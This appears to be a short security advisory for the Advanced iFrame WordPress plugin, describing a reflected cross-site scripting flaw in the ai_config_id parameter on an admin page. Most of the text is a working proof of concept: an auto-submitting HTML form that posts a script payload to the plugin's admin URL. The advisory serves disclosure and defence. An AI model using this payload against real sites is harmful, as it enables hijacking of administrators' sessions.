WordPress Plugin Vulnerabilities

Advanced iFrame < 2022 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the ai_config_id parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=advanced-iframe.php" id="hack" method="POST">
      <input type="hidden" name="create-id" value="1" />
      <input type="hidden" name="ai_config_id" value="<script>alert(/XSS/);</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>